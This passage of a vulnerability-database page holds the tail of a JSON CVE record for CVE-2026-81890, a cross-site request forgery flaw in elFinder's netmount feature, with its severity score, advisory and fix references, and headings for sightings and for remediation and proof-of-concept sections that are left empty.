            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-352",
              "description": "CWE-352: Cross-Site Request Forgery (CSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-31T20:29:43.695Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/Studio-42/elFinder/security/advisories/GHSA-9hjf-w35w-6vx2",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/Studio-42/elFinder/security/advisories/GHSA-9hjf-w35w-6vx2"
        },
        {
          "name": "https://github.com/Studio-42/elFinder/commit/31284facd033e081b2b69c08873b39c8a413b762",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Studio-42/elFinder/commit/31284facd033e081b2b69c08873b39c8a413b762"
        },
        {
          "name": "https://github.com/Studio-42/elFinder/commit/36d40fff12222ad4c229d8889d8ed3fd3dbf0415",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Studio-42/elFinder/commit/36d40fff12222ad4c229d8889d8ed3fd3dbf0415"
        },
        {
          "name": "https://github.com/Studio-42/elFinder/releases/tag/2.1.70",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Studio-42/elFinder/releases/tag/2.1.70"
        }
      ],
      "source": {
        "advisory": "GHSA-9hjf-w35w-6vx2",
        "discovery": "UNKNOWN"
      },
      "title": "elFinder: CSRF in netmount allows forced FTP mounts and server-side FTP connections"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-81890",
    "datePublished": "2026-08-31T20:29:43.695Z",
    "dateReserved": "2026-08-27T17:48:42.123Z",
    "dateUpdated": "2026-09-01T13:55:03.629Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-9HJF-W35W-6VX2

Summary

Details

PoC

Impact

Suggested remediation

Credits

CVE-2026-81890 (GCVE-0-2026-81890)

Tags

Sightings

Nomenclature